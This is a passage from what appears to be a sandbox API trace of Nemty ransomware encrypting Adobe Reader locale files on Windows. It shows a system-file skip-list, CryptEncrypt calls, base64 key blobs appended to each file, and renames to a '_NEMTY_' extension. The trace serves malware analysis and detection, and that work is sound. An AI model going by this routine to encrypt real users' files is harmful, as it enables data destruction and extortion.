Size=0x20) returned 0x4f9ecb8 [0174.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CZE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CZE", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CZE", lpUsedDefaultChar=0x0) returned 8 [0174.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CZE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CZE", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CZE", lpUsedDefaultChar=0x0) returned 8 [0174.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.221] Sleep (dwMilliseconds=0x5) [0174.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b7fa210, dwHighDateTime=0x1d561e8)) [0174.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b7fa210, dwHighDateTime=0x1d561e8)) [0174.234] GetLastError () returned 0x0 [0174.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.234] GetLastError () returned 0x0 [0174.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.234] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.234] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.235] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.235] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="gDC9JXrNv1NYoj0uGhizfWqJtq2nPhFtfDXckUDHoOBUWsXzG4ACN5EGiGllh67B\r\nLRp7pCDdsgXFVVNaf2JxFxoYS8A5vm/s56qap/YrLjiYmpIx2ZgaHNRbKuiO0vwI\r\nuoTSYPX1UENh278S8NMG/xpq97/yyabga+ldD+kAUDoGwiyHhVAPYss3II2xmffM\r\n9ymcU4ZeGwKtKKC7zE+5etS/ZD58dSavVXrfHjv/QkjE9RU8XGvRnZstzpnSFHa5\r\n6U3nP8rQKtdRpKPGu90p7H9keh0fMZXnZnz9w2yGpR7iJmTkPdLbyhWdx1zv0PZr\r\n7xhGz6RIsHjkAg4GGwC5tA==\r\n", pcchString=0x653e5dc) returned 1 [0174.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.235] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\IA32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ia32.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.235] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0174.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0174.235] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.235] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0174.239] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.239] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0174.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0174.239] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0174.239] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.239] CloseHandle (hObject=0x2e8) returned 1 [0174.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0174.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0174.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0174.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.240] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\IA32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ia32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\IA32.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ia32.cze._nemty_kgobjgd_")) returned 1 [0174.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0174.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.240] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.CZE", cAlternateFileName="MAKEAC~1.CZE")) returned 1 [0174.240] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2=".") returned 1 [0174.240] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="..") returned 1 [0174.240] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="...") returned 1 [0174.240] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="windows") returned -1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="rsa") returned -1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="NTDETECT.COM") returned -1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="ntldr") returned -1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="MSDOS.SYS") returned -1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="IO.SYS") returned 1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="boot.ini") returned 1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="boot.ini") returned 1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="ntuser.dat") returned -1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="desktop.ini") returned 1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="CONFIG.SYS") returned 1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="RECYCLER") returned -1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="bootmgr") returned 1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="programdata") returned -1 [0174.241] lstrcmpiW (lpString1="makeaccessible.CZE", lpString2="appdata") returned 1 [0174.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CZE", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0174.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CZE", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CZE", lpUsedDefaultChar=0x0) returned 18 [0174.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0174.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CZE", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0174.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CZE", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CZE", lpUsedDefaultChar=0x0) returned 18 [0174.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0174.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CZE", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0174.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CZE", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CZE", lpUsedDefaultChar=0x0) returned 18 [0174.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CZE", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0174.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CZE", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CZE", lpUsedDefaultChar=0x0) returned 18 [0174.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.242] Sleep (dwMilliseconds=0x5) [0174.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b820370, dwHighDateTime=0x1d561e8)) [0174.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b820370, dwHighDateTime=0x1d561e8)) [0174.250] GetLastError () returned 0x0 [0174.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.250] GetLastError () returned 0x0 [0174.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0174.250] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.250] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.250] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.250] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Mn/26G8wBHPMOvk0sTsp/94ndfCotwv4wj1yV/cDNPSgB2mCQnpIEWKHiWTj373y\r\nWBYmyEOQvFXhZPCFiLw82VwENnEsIm8vm2dvijj9ZUJiKOACoR8x8dF/C3834raZ\r\ndHnTreXd4XV1AOKP0GbpkCZbYKJawD7bM7H+sMKNCDlmw+CWfq54cr0IPUuzTfW4\r\nT7FYSRtFoPLE8fvnU5n9k0wd6WBM4zoNcttI31/FguCO9QqYo/mxRq4YFBoIpMoX\r\nbkg1vxHz87vGc6g6HO/DGKqJHCVnEojBXt5MfHqa5IUG3mx+CP7iphYGw5YQuIre\r\nhaKWxWRzaqmavqtoftH2kg==\r\n", pcchString=0x653e5dc) returned 1 [0174.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0174.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.251] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\makeaccessible.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\makeaccessible.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.251] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=72192) returned 1 [0174.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11a00) returned 0x6352c48 [0174.251] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.252] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x11a00, lpOverlapped=0x0) returned 1 [0174.257] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.257] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x11a00, lpOverlapped=0x0) returned 1 [0174.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.258] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=72192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11a00 [0174.258] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.258] CloseHandle (hObject=0x2e8) returned 1 [0174.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0174.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0174.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0174.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0174.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0174.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0174.258] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\makeaccessible.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\makeaccessible.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\makeaccessible.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\makeaccessible.cze._nemty_kgobjgd_")) returned 1 [0174.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0174.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.259] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.CZE", cAlternateFileName="MULTIM~1.CZE")) returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2=".") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="..") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="...") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="windows") returned -1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="rsa") returned -1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="NTDETECT.COM") returned -1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="ntldr") returned -1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="MSDOS.SYS") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="IO.SYS") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="boot.ini") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="boot.ini") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="ntuser.dat") returned -1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="desktop.ini") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="CONFIG.SYS") returned 1 [0174.259] lstrcmpiW 